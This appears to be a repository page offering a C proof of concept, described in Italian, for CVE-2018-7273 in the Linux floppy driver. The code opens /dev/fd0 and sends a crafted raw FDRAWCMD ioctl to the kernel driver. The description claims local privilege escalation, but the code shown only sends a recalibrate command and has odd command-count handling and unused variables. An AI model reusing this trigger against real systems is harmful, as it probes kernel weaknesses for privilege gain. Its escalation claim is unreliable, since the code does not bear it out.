jedai47/cve-2018-7273Prova di concetto per CVE-2018-7273, una vulnerabilità del driver floppy del kernel Linux che consente l'escalation dei privilegi locali tramite comandi IOCTL appositamente predisposti.
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <linux/kernel.h> #include <string.h> #include <sys/mman.h> #include <linux/fd.h>
static int drive_selector(int head) { return (head << 2); }
void fd_recalibrate(int fd) { struct floppy_raw_cmd raw_cmd; int tmp;
raw_cmd.flags = FD_RAW_INTR;
raw_cmd.cmd_count = 2;
// imposta il comando
raw_cmd.cmd[raw_cmd.cmd_count++] = 0x07;
raw_cmd.cmd[raw_cmd.cmd_count++] = drive_selector(0);
tmp = ioctl( fd, FDRAWCMD, &raw_cmd );
printf("Stato:%d\n",tmp);
} int main(){ printf("Avvio\n"); char *d; struct floppy_raw_cmd *cmd;
int fd;
fd = open("/dev/fd0",O_RDWR | O_NDELAY);
fd_recalibrate(fd);
close(fd);
printf("Fine\n");
return 0;
}